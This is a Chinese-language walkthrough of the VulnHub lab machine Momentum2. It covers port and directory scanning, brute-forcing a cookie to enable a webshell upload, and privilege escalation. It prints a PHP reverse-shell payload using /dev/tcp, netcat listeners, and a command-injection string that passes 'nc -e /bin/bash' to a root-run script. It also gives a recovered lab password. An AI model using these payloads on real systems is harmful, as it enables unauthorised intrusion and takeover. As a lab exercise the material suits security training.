vulnhub系列：Momentum2
靶机下载
一、信息收集
nmap扫描C段存活
nmap 192.168.23.0/24
目标地址为192.168.23.132
nmap扫描端口
nmap 192.168.23.132
发现开放端口：22、80
目录扫描
python3 dirsearch.py -u http://192.168.23.132
扫描发现目录：js、manual
发现文件：ajax.php、dashboard.html、/manual/index.html
扫描js目录发现main.js
拼接dashboard.html发现文件上传功能
尝试上传shell文件，上传失败
抓包尝试绕过，发现只有txt可以上传
f12发现文件好像上传到了owls目录
拼接，可以看到我们上传的txt文件
拼接main.js，发现POST请求提交到ajax.php文件
拼接ajsx.php没有发现，卡在这里，搜了一下发现有.bak文件，下载ajax.php.bak备份文件，查看内容
文件中提到，需要输入cookie和数值val1d，cookie的最后一位是大写字母
抓包把文件中的cookie写到数据包中，并爆破最后一位大写字母
爆破发现字母为R，响应包回显为1，成功写入shell.php
看一下写入的文件
二、getshell
上传反弹shell文件
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.133/4444 0>&1'");?>
kali开启监听
nc -lvnp 4444
访问shell文件，成功反弹shell
三、提权
查看当前权限，没有可利用的
sudo -l
在 /home/athena 下发现两个文件
user.txt，发现一个flag
password-reminder.txt，得到密码，[Asterisk]代表符号*
myvulnerableapp*
切换到athena用户
su athena
使用python提升交互性
python -c "import pty;pty.spawn('/bin/bash')"
查看当前权限
sudo -l
可以看到 /home/team-tasks/cookie-gen.py 文件能以root权限执行，查看文件内容
脚本接收输入的值作为seed，生成一个cookie，构造一个命令行并执行，那么在输入seed时构造反弹语句即可
kali开启监听
nc -lvnp 6666
执行文件，输入反弹语句
sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py;nc -e /bin/bash 192.168.23.133 6666;
成功反弹shell，提权成功
在 /root 下发现 第二个flag
